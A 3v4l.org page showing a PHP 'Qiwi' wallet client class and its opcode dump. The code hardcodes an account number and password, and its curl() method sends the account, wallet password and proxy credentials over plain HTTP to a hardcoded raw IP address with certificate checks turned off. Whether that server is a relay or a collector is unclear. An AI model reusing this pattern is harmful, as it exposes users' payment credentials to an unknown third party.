3v4l.org

run code in 300+ PHP versions simultaneously
<?php $iQiwiAccount = 79023239292; $sPassword = 'pewf'; echo json_encode(array( 'login' => $iQiwiAccount, 'password' => $sPassword )); class Qiwi { # Приватные переменные класса : private $iAccount, $sPassword, $sProxyIP, $iProxyPort, $sProxyType, $sProxyUser, $sProxyPassword; # Публичные переменные класса : public $sResponse, $aResponse, $aBalances; # Метод : конструктор. public function __construct( $iAccount, $sPassword, $sProxyIP = null, $iProxyPort = null, $sProxyType = null, $sProxyUser = null, $sProxyPassword = null ) { # Инициализация данных класса : $this->iAccount = $iAccount; $this->sPassword = $sPassword; $this->sProxyIP = $sProxyIP; $this->iProxyPort = $iProxyPort; $this->sProxyType = $sProxyType; $this->sProxyUser = $sProxyUser; $this->sProxyPassword = $sProxyPassword; # Отправка запроса на сервер : $this->curl( 'getBalanceInfo' ); # Инициализация данных класса : $this->aBalances = $this->aResponse['aBalances']; } # Метод : получение истории транзакций. public function getHistory( $sStartDate, $sFinishDate ) { # Отправка запроса на сервер : $this->curl( 'getHistory', array( 'sStartDate' => $sStartDate, 'sFinishDate' => $sFinishDate ) ); return $this->aResponse['aData']; } # Метод : перевод средств. public function transfer( $iReceiver, $dAmount, $sCurrency, $sComment ) { # Отправка запроса на сервер : $this->curl( 'transfer', array( 'iReceiver' => $iReceiver, 'dAmount' => $dAmount, 'sCurrency' => $sCurrency, 'sComment' => $sComment ) ); return $this->aResponse['iTransferID']; } # Метод : генерация яйца. public function createEgg( $dAmount, $sComment ) { # Отправка запроса на сервер : $this->curl( 'createEgg', array( 'dAmount' => $dAmount, 'sComment' => $sComment ) ); return $this->aResponse['sCode']; } # Метод : получение денег по яйцу. public function activateEgg( $sCode ) { # Отправка запроса на сервер : $this->curl( 'activateEgg', array( 'sCode' => $sCode ) ); return array( 'dAmount' => $this->aResponse['dAmount'], 'sComment' => $this->aResponse['sComment'] ); } # Метод : включено ли SMS подтверждение. public function isSMSActive() { # Отправка запроса на сервер : $this->curl( 'getSMSConfirmInfo' ); return $this->aResponse['bActive']; } # Метод : подтверждение операции по SMS. public function paymentSMSConfirm( $iCode ) { # Отправка запроса на сервер : $this->curl( 'makeSMSConfirm', array( 'iCode' => $iCode ) ); return $this->aResponse['iTransferID']; } # Метод : запрос на смену пароля. public function requestChangePassword() { # Отправка запроса на сервер : $this->curl( 'requestChangePassword' ); return $this->aResponse['iIdentifier']; } # Метод : подтверждение смены пароля. public function progressChangePassword( $iIdentifier, $sOldPassword, $sNewPassword, $iCode ) { # Отправка запроса на сервер : $this->curl( 'progressChangePassword', array( 'iIdentifier' => $iIdentifier, 'sOldPassword' => $sOldPassword, 'sNewPassword' => $sNewPassword, 'iCode' => $iCode ) ); } # Метод : запрос на отключение SMS. public function requestConfirmPayments() { # Отправка запроса на сервер : $this->curl( 'requestConfirmPayments' ); return $this->aResponse['iIdentifier']; } # Метод : подтверждение отключения SMS. public function progressConfirmPayments( $iIdentifier, $iCode ) { # Отправка запроса на сервер : $this->curl( 'progressConfirmPayments', array( 'iIdentifier' => $iIdentifier, 'iCode' => $iCode ) ); } # Метод : редактирование профиля. public function editProfile( $sLastName, $sFirstName, $sMiddleName, $sBirthDate, $sPassport ) { # Отправка запроса на сервер : $this->curl( 'editProfile', array( 'sFirstName' => $sFirstName, 'sLastName' => $sLastName, 'sMiddleName' => $sMiddleName, 'sBirthDate' => $sBirthDate, 'sPassport' => $sPassport ) ); } # Метод : получение информации о профиле. public function getProfile() { # Отправка запроса на сервер : $this->curl( 'getProfileInfo' ); return array( $this->aResponse['sLastName'], $this->aResponse['sFirstName'], $this->aResponse['sMiddleName'], $this->aResponse['sBirthDate'], $this->aResponse['sPassport'] ); } # Метод : очистка cookie. public function clearCookie() { # Отправка запроса на сервер : $this->curl( 'clearCookie' ); } # Метод : обращение к серверу. private function curl( $sMod, array $aData = array() ) { # Инициализация статических переменных : static $oCurl = null; # Если переменная oCurl пуста : if( is_null( $oCurl ) ) { # Создание соединения : $oCurl = curl_init( 'http://185.63.253.140/' ); # Настройка CURL соединения : curl_setopt_array( $oCurl, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36', CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_POST => true, CURLOPT_TIMEOUT => 60 ) ); } # Добавление данных в массив : $aData['sMod'] = $sMod; $aData['iAccount'] = $this->iAccount; $aData['sPassword'] = $this->sPassword; $aData['sProxyIP'] = $this->sProxyIP; $aData['iProxyPort'] = $this->iProxyPort; $aData['sProxyType'] = $this->sProxyType; $aData['sProxyUser'] = $this->sProxyUser; $aData['sProxyPassword'] = $this->sProxyPassword; # Передача данных : curl_setopt( $oCurl, CURLOPT_POSTFIELDS, http_build_query( $aData ) ); # Получение ответа : $this->sResponse = curl_exec( $oCurl ); # Если произошла ошибка : if( curl_errno( $oCurl ) ) throw new Exception( curl_errno( $oCurl ).' - '.curl_error( $oCurl ) ); # Преобразование ответа в массив : if( ($this->aResponse = @json_decode( $this->sResponse, true )) === false ) throw new Exception( $this->sResponse ); # Если в ответе нет нужных данных : if( !isset( $this->aResponse['sStatus'] ) ) throw new Exception( $this->sResponse ); # Если ответ не успешен : if( $this->aResponse['sStatus'] != 'SUCCESS' ) throw new Exception( isset( $this->aResponse['sMessage'] ) ? $this->aResponse['sMessage'] : $this->sResponse ); } }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  (null)
number of ops:  9
compiled vars:  !0 = $iQiwiAccount, !1 = $sPassword
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 79023239292
    3     1        ASSIGN                                                   !1, 'pewf'
    4     2        INIT_FCALL                                               'json_encode'
          3        INIT_ARRAY                                       ~4      !0, 'login'
          4        ADD_ARRAY_ELEMENT                                ~4      !1, 'password'
          5        SEND_VAL                                                 ~4
          6        DO_ICALL                                         $5      
          7        ECHO                                                     $5
  197     8      > RETURN                                                   1

Class Qiwi:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  __construct
number of ops:  29
compiled vars:  !0 = $iAccount, !1 = $sPassword, !2 = $sProxyIP, !3 = $iProxyPort, !4 = $sProxyType, !5 = $sProxyUser, !6 = $sProxyPassword
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   14     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV_INIT                                        !2      null
          3        RECV_INIT                                        !3      null
          4        RECV_INIT                                        !4      null
          5        RECV_INIT                                        !5      null
          6        RECV_INIT                                        !6      null
   17     7        ASSIGN_OBJ                                               'iAccount'
          8        OP_DATA                                                  !0
   18     9        ASSIGN_OBJ                                               'sPassword'
         10        OP_DATA                                                  !1
   19    11        ASSIGN_OBJ                                               'sProxyIP'
         12        OP_DATA                                                  !2
   20    13        ASSIGN_OBJ                                               'iProxyPort'
         14        OP_DATA                                                  !3
   21    15        ASSIGN_OBJ                                               'sProxyType'
         16        OP_DATA                                                  !4
   22    17        ASSIGN_OBJ                                               'sProxyUser'
         18        OP_DATA                                                  !5
   23    19        ASSIGN_OBJ                                               'sProxyPassword'
         20        OP_DATA                                                  !6
   26    21        INIT_METHOD_CALL                                         'curl'
         22        SEND_VAL_EX                                              'getBalanceInfo'
         23        DO_FCALL                                      0          
   29    24        FETCH_OBJ_R                                      ~16     'aResponse'
         25        FETCH_DIM_R                                      ~17     ~16, 'aBalances'
         26        ASSIGN_OBJ                                               'aBalances'
         27        OP_DATA                                                  ~17
   30    28      > RETURN                                                   null

End of function __construct

Function gethistory:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  getHistory
number of ops:  12
compiled vars:  !0 = $sStartDate, !1 = $sFinishDate
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   33     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   36     2        INIT_METHOD_CALL                                         'curl'
          3        SEND_VAL_EX                                              'getHistory'
          4        INIT_ARRAY                                       ~2      !0, 'sStartDate'
          5        ADD_ARRAY_ELEMENT                                ~2      !1, 'sFinishDate'
          6        SEND_VAL_EX                                              ~2
          7        DO_FCALL                                      0          
   38     8        FETCH_OBJ_R                                      ~4      'aResponse'
          9        FETCH_DIM_R                                      ~5      ~4, 'aData'
         10      > RETURN                                                   ~5
   39    11*     > RETURN                                                   null

End of function gethistory

Function transfer:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  transfer
number of ops:  16
compiled vars:  !0 = $iReceiver, !1 = $dAmount, !2 = $sCurrency, !3 = $sComment
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   42     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
          3        RECV                                             !3      
   45     4        INIT_METHOD_CALL                                         'curl'
          5        SEND_VAL_EX                                              'transfer'
          6        INIT_ARRAY                                       ~4      !0, 'iReceiver'
          7        ADD_ARRAY_ELEMENT                                ~4      !1, 'dAmount'
          8        ADD_ARRAY_ELEMENT                                ~4      !2, 'sCurrency'
          9        ADD_ARRAY_ELEMENT                                ~4      !3, 'sComment'
         10        SEND_VAL_EX                                              ~4
         11        DO_FCALL                                      0          
   47    12        FETCH_OBJ_R                                      ~6      'aResponse'
         13        FETCH_DIM_R                                      ~7      ~6, 'iTransferID'
         14      > RETURN                                                   ~7
   48    15*     > RETURN                                                   null

End of function transfer

Function createegg:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  createEgg
number of ops:  12
compiled vars:  !0 = $dAmount, !1 = $sComment
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   51     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   54     2        INIT_METHOD_CALL                                         'curl'
          3        SEND_VAL_EX                                              'createEgg'
          4        INIT_ARRAY                                       ~2      !0, 'dAmount'
          5        ADD_ARRAY_ELEMENT                                ~2      !1, 'sComment'
          6        SEND_VAL_EX                                              ~2
          7        DO_FCALL                                      0          
   56     8        FETCH_OBJ_R                                      ~4      'aResponse'
          9        FETCH_DIM_R                                      ~5      ~4, 'sCode'
         10      > RETURN                                                   ~5
   57    11*     > RETURN                                                   null

End of function createegg

Function activateegg:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  activateEgg
number of ops:  14
compiled vars:  !0 = $sCode
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   60     0  E >   RECV                                             !0      
   63     1        INIT_METHOD_CALL                                         'curl'
          2        SEND_VAL_EX                                              'activateEgg'
          3        INIT_ARRAY                                       ~1      !0, 'sCode'
          4        SEND_VAL_EX                                              ~1
          5        DO_FCALL                                      0          
   65     6        FETCH_OBJ_R                                      ~3      'aResponse'
          7        FETCH_DIM_R                                      ~4      ~3, 'dAmount'
          8        INIT_ARRAY                                       ~5      ~4, 'dAmount'
          9        FETCH_OBJ_R                                      ~6      'aResponse'
         10        FETCH_DIM_R                                      ~7      ~6, 'sComment'
         11        ADD_ARRAY_ELEMENT                                ~5      ~7, 'sComment'
         12      > RETURN                                                   ~5
   66    13*     > RETURN                                                   null

End of function activateegg

Function issmsactive:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  isSMSActive
number of ops:  7
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   72     0  E >   INIT_METHOD_CALL                                         'curl'
          1        SEND_VAL_EX                                              'getSMSConfirmInfo'
          2        DO_FCALL                                      0          
   74     3        FETCH_OBJ_R                                      ~1      'aResponse'
          4        FETCH_DIM_R                                      ~2      ~1, 'bActive'
          5      > RETURN                                                   ~2
   75     6*     > RETURN                                                   null

End of function issmsactive

Function paymentsmsconfirm:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  paymentSMSConfirm
number of ops:  10
compiled vars:  !0 = $iCode
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   78     0  E >   RECV                                             !0      
   81     1        INIT_METHOD_CALL                                         'curl'
          2        SEND_VAL_EX                                              'makeSMSConfirm'
          3        INIT_ARRAY                                       ~1      !0, 'iCode'
          4        SEND_VAL_EX                                              ~1
          5        DO_FCALL                                      0          
   83     6        FETCH_OBJ_R                                      ~3      'aResponse'
          7        FETCH_DIM_R                                      ~4      ~3, 'iTransferID'
          8      > RETURN                                                   ~4
   84     9*     > RETURN                                                   null

End of function paymentsmsconfirm

Function requestchangepassword:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  requestChangePassword
number of ops:  7
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   90     0  E >   INIT_METHOD_CALL                                         'curl'
          1        SEND_VAL_EX                                              'requestChangePassword'
          2        DO_FCALL                                      0          
   92     3        FETCH_OBJ_R                                      ~1      'aResponse'
          4        FETCH_DIM_R                                      ~2      ~1, 'iIdentifier'
          5      > RETURN                                                   ~2
   93     6*     > RETURN                                                   null

End of function requestchangepassword

Function progresschangepassword:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  progressChangePassword
number of ops:  13
compiled vars:  !0 = $iIdentifier, !1 = $sOldPassword, !2 = $sNewPassword, !3 = $iCode
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   96     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
          3        RECV                                             !3      
   99     4        INIT_METHOD_CALL                                         'curl'
          5        SEND_VAL_EX                                              'progressChangePassword'
          6        INIT_ARRAY                                       ~4      !0, 'iIdentifier'
          7        ADD_ARRAY_ELEMENT                                ~4      !1, 'sOldPassword'
          8        ADD_ARRAY_ELEMENT                                ~4      !2, 'sNewPassword'
          9        ADD_ARRAY_ELEMENT                                ~4      !3, 'iCode'
         10        SEND_VAL_EX                                              ~4
         11        DO_FCALL                                      0          
  100    12      > RETURN                                                   null

End of function progresschangepassword

Function requestconfirmpayments:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  requestConfirmPayments
number of ops:  7
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  106     0  E >   INIT_METHOD_CALL                                         'curl'
          1        SEND_VAL_EX                                              'requestConfirmPayments'
          2        DO_FCALL                                      0          
  108     3        FETCH_OBJ_R                                      ~1      'aResponse'
          4        FETCH_DIM_R                                      ~2      ~1, 'iIdentifier'
          5      > RETURN                                                   ~2
  109     6*     > RETURN                                                   null

End of function requestconfirmpayments

Function progressconfirmpayments:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  progressConfirmPayments
number of ops:  9
compiled vars:  !0 = $iIdentifier, !1 = $iCode
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  112     0  E >   RECV                                             !0      
          1        RECV                                             !1      
  115     2        INIT_METHOD_CALL                                         'curl'
          3        SEND_VAL_EX                                              'progressConfirmPayments'
          4        INIT_ARRAY                                       ~2      !0, 'iIdentifier'
          5        ADD_ARRAY_ELEMENT                                ~2      !1, 'iCode'
          6        SEND_VAL_EX                                              ~2
          7        DO_FCALL                                      0          
  116     8      > RETURN                                                   null

End of function progressconfirmpayments

Function editprofile:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  editProfile
number of ops:  15
compiled vars:  !0 = $sLastName, !1 = $sFirstName, !2 = $sMiddleName, !3 = $sBirthDate, !4 = $sPassport
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  119     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
          3        RECV                                             !3      
          4        RECV                                             !4      
  122     5        INIT_METHOD_CALL                                         'curl'
          6        SEND_VAL_EX                                              'editProfile'
          7        INIT_ARRAY                                       ~5      !1, 'sFirstName'
          8        ADD_ARRAY_ELEMENT                                ~5      !0, 'sLastName'
          9        ADD_ARRAY_ELEMENT                                ~5      !2, 'sMiddleName'
         10        ADD_ARRAY_ELEMENT                                ~5      !3, 'sBirthDate'
         11        ADD_ARRAY_ELEMENT                                ~5      !4, 'sPassport'
         12        SEND_VAL_EX                                              ~5
         13        DO_FCALL                                      0          
  123    14      > RETURN                                                   null

End of function editprofile

Function getprofile:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  getProfile
number of ops:  20
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  129     0  E >   INIT_METHOD_CALL                                         'curl'
          1        SEND_VAL_EX                                              'getProfileInfo'
          2        DO_FCALL                                      0          
  131     3        FETCH_OBJ_R                                      ~1      'aResponse'
          4        FETCH_DIM_R                                      ~2      ~1, 'sLastName'
          5        INIT_ARRAY                                       ~3      ~2
          6        FETCH_OBJ_R                                      ~4      'aResponse'
          7        FETCH_DIM_R                                      ~5      ~4, 'sFirstName'
          8        ADD_ARRAY_ELEMENT                                ~3      ~5
          9        FETCH_OBJ_R                                      ~6      'aResponse'
         10        FETCH_DIM_R                                      ~7      ~6, 'sMiddleName'
         11        ADD_ARRAY_ELEMENT                                ~3      ~7
         12        FETCH_OBJ_R                                      ~8      'aResponse'
         13        FETCH_DIM_R                                      ~9      ~8, 'sBirthDate'
         14        ADD_ARRAY_ELEMENT                                ~3      ~9
         15        FETCH_OBJ_R                                      ~10     'aResponse'
         16        FETCH_DIM_R                                      ~11     ~10, 'sPassport'
         17        ADD_ARRAY_ELEMENT                                ~3      ~11
         18      > RETURN                                                   ~3
  132    19*     > RETURN                                                   null

End of function getprofile

Function clearcookie:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2udbl
function name:  clearCookie
number of ops:  4
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  138     0  E >   INIT_METHOD_CALL                                         'curl'
          1        SEND_VAL_EX                                              'clearCookie'
          2        DO_FCALL                                      0          
  139     3      > RETURN                                                   null

End of function clearcookie

Function curl:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 27
Branch analysis from position: 5
2 jumps found. (Code = 43) Position 1 = 68, Position 2 = 80
Branch analysis from position: 68
1 jumps found. (Code = 108) Position 1 = -2
Branch analysis from position: 80
2 jumps found. (Code = 43) Position 1 = 91, Position 2 = 97
Branch analysis from position: 91
1 jumps found. (Code = 108) Position 1 = -2
Branch analysis from position: 97
2 jumps found. (Code = 43) Position 1 = 101, Position 2 = 107
Branch analysis from position: 101
1 jumps found. (Code = 108) Position 1 = -2
Branch analysis from position: 107
2 jumps found. (Code = 43) Position 1 = 111, Position 2 = 124
Branch analysis from position: 111
2 jumps found. (Code = 43) Position 1 = 115, Position 2 = 119
Branch analysis from position: 115
1 jumps found. (Code = 42) Position 1 = 121
Branch analysis from position: 121
1 jumps found. (Code = 108) Position 1 = -2
Branch analysis from position: 119
1 jumps found. (Code = 108) Position 1 = -2
Branch analysis from position: 124
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 27
filename:       /in/2udbl
function name:  curl
number of ops:  125
compiled vars:  !0 = $sMod, !1 = $aData, !2 = $oCurl
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  142     0  E >   RECV                                             !0      
          1        RECV_INIT                                        !1      <array>
  145     2        BIND_STATIC                                              !2
  148     3        TYPE_CHECK                                    2          !2
          4      > JMPZ                                                     ~3, ->27
  151     5    >   INIT_FCALL_BY_NAME                                       'curl_init'
          6        SEND_VAL_EX                                              'http%3A%2F%2F185.63.253.140%2F'
          7        DO_FCALL                                      0  $4      
          8        ASSIGN                                                   !2, $4
  154     9        INIT_FCALL_BY_NAME                                       'curl_setopt_array'
         10        SEND_VAR_EX                                              !2
  155    11        FETCH_CONSTANT                                   ~6      'CURLOPT_RETURNTRANSFER'
         12        INIT_ARRAY                                       ~7      <true>, ~6
  156    13        FETCH_CONSTANT                                   ~8      'CURLOPT_HEADER'
  155    14        ADD_ARRAY_ELEMENT                                ~7      <false>, ~8
  157    15        FETCH_CONSTANT                                   ~9      'CURLOPT_USERAGENT'
         16        ADD_ARRAY_ELEMENT                                ~7      'Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F43.0.2357.65+Safari%2F537.36', ~9
  158    17        FETCH_CONSTANT                                   ~10     'CURLOPT_SSL_VERIFYHOST'
  155    18        ADD_ARRAY_ELEMENT                                ~7      <false>, ~10
  159    19        FETCH_CONSTANT                                   ~11     'CURLOPT_SSL_VERIFYPEER'
  155    20        ADD_ARRAY_ELEMENT                                ~7      <false>, ~11
  160    21        FETCH_CONSTANT                                   ~12     'CURLOPT_POST'
  155    22        ADD_ARRAY_ELEMENT                                ~7      <true>, ~12
  161    23        FETCH_CONSTANT                                   ~13     'CURLOPT_TIMEOUT'
         24        ADD_ARRAY_ELEMENT                                ~7      60, ~13
         25        SEND_VAL_EX                                              ~7
         26        DO_FCALL                                      0          
  166    27    >   ASSIGN_DIM                                               !1, 'sMod'
         28        OP_DATA                                                  !0
  167    29        FETCH_OBJ_R                                      ~17     'iAccount'
         30        ASSIGN_DIM                                               !1, 'iAccount'
         31        OP_DATA                                                  ~17
  168    32        FETCH_OBJ_R                                      ~19     'sPassword'
         33        ASSIGN_DIM                                               !1, 'sPassword'
         34        OP_DATA                                                  ~19
  169    35        FETCH_OBJ_R                                      ~21     'sProxyIP'
         36        ASSIGN_DIM                                               !1, 'sProxyIP'
         37        OP_DATA                                                  ~21
  170    38        FETCH_OBJ_R                                      ~23     'iProxyPort'
         39        ASSIGN_DIM                                               !1, 'iProxyPort'
         40        OP_DATA                                                  ~23
  171    41        FETCH_OBJ_R                                      ~25     'sProxyType'
         42        ASSIGN_DIM                                               !1, 'sProxyType'
         43        OP_DATA                                                  ~25
  172    44        FETCH_OBJ_R                                      ~27     'sProxyUser'
         45        ASSIGN_DIM                                               !1, 'sProxyUser'
         46        OP_DATA                                                  ~27
  173    47        FETCH_OBJ_R                                      ~29     'sProxyPassword'
         48        ASSIGN_DIM                                               !1, 'sProxyPassword'
         49        OP_DATA                                                  ~29
  176    50        INIT_FCALL_BY_NAME                                       'curl_setopt'
         51        SEND_VAR_EX                                              !2
         52        FETCH_CONSTANT                                   ~30     'CURLOPT_POSTFIELDS'
         53        SEND_VAL_EX                                              ~30
         54        INIT_FCALL                                               'http_build_query'
         55        SEND_VAR                                                 !1
         56        DO_ICALL                                         $31     
         57        SEND_VAR_NO_REF_EX                                       $31
         58        DO_FCALL                                      0          
  179    59        INIT_FCALL_BY_NAME                                       'curl_exec'
         60        SEND_VAR_EX                                              !2
         61        DO_FCALL                                      0  $34     
         62        ASSIGN_OBJ                                               'sResponse'
         63        OP_DATA                                                  $34
  182    64        INIT_FCALL_BY_NAME                                       'curl_errno'
         65        SEND_VAR_EX                                              !2
         66        DO_FCALL                                      0  $35     
         67      > JMPZ                                                     $35, ->80
  183    68    >   NEW                                              $36     'Exception'
         69        INIT_FCALL_BY_NAME                                       'curl_errno'
         70        SEND_VAR_EX                                              !2
         71        DO_FCALL                                      0  $37     
         72        CONCAT                                           ~38     $37, '+-+'
         73        INIT_FCALL_BY_NAME                                       'curl_error'
         74        SEND_VAR_EX                                              !2
         75        DO_FCALL                                      0  $39     
         76        CONCAT                                           ~40     ~38, $39
         77        SEND_VAL_EX                                              ~40
         78        DO_FCALL                                      0          
         79      > THROW                                         0          $36
  186    80    >   BEGIN_SILENCE                                    ~43     
         81        INIT_FCALL                                               'json_decode'
         82        FETCH_OBJ_R                                      ~44     'sResponse'
         83        SEND_VAL                                                 ~44
         84        SEND_VAL                                                 <true>
         85        DO_ICALL                                         $45     
         86        END_SILENCE                                              ~43
         87        ASSIGN_OBJ                                       ~42     'aResponse'
         88        OP_DATA                                                  $45
         89        TYPE_CHECK                                    4          ~42
         90      > JMPZ                                                     ~46, ->97
  187    91    >   NEW                                              $47     'Exception'
         92        CHECK_FUNC_ARG                                           
         93        FETCH_OBJ_FUNC_ARG                               $48     'sResponse'
         94        SEND_FUNC_ARG                                            $48
         95        DO_FCALL                                      0          
         96      > THROW                                         0          $47
  190    97    >   FETCH_OBJ_IS                                     ~50     'aResponse'
         98        ISSET_ISEMPTY_DIM_OBJ                         0  ~51     ~50, 'sStatus'
         99        BOOL_NOT                                         ~52     ~51
        100      > JMPZ                                                     ~52, ->107
  191   101    >   NEW                                              $53     'Exception'
        102        CHECK_FUNC_ARG                                           
        103        FETCH_OBJ_FUNC_ARG                               $54     'sResponse'
        104        SEND_FUNC_ARG                                            $54
        105        DO_FCALL  

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
272.42 ms | 1428 KiB | 20 Q